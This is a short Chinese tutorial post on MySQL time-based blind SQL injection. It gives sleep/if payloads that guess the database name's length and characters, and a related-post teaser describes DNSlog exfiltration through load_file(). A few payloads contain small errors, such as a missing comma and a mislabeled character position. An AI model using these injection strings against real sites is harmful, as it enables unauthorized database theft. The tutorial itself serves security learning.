Sql注入_mysql盲注__二次注入

矫情吗；* 2021-09-29 18:28 467阅读 0赞

sleep盲注攻击

Sleep延迟：延迟盲注

If(条件,true,false)：

条件成立，返回第二个参数，反之第三个参数

举例1：length

id=1 union select 1,2,sleep(if(length(database())=5,5,0))

如果(database())=5 条件成立，返回5，不成立返回0

举例2：获取数据库名 mid

id=1 union select 1,2sleep(if(mid(database(),1,1)=’s’,5,0))

第一位为s则会休眠5秒

id=1 union select 1,2sleep(if(mid(database(),1,1)=’q’,5,0))

第二位为q则会休眠5秒

不用order by 情况下

1076111-20180323135333209-912458993.png

转载于:https://www.cnblogs.com/cui0x01/p/8625769.html

发表评论

表情：
评论列表 （有 0 条评论，467人围观）

还没有评论，来说两句吧...

相关阅读

    相关 dnslog注入_dnslog盲注

    dnslog注入原理通过子查询，将内容拼接到域名内，让load\_file()去访问共享文件，访问的域名被记录此时变为显错注入,将盲注变显错注入,读取远程共享文件，通过拼接出函

    超、凢脫俗超、凢脫俗/ 0 赞/ 257 阅读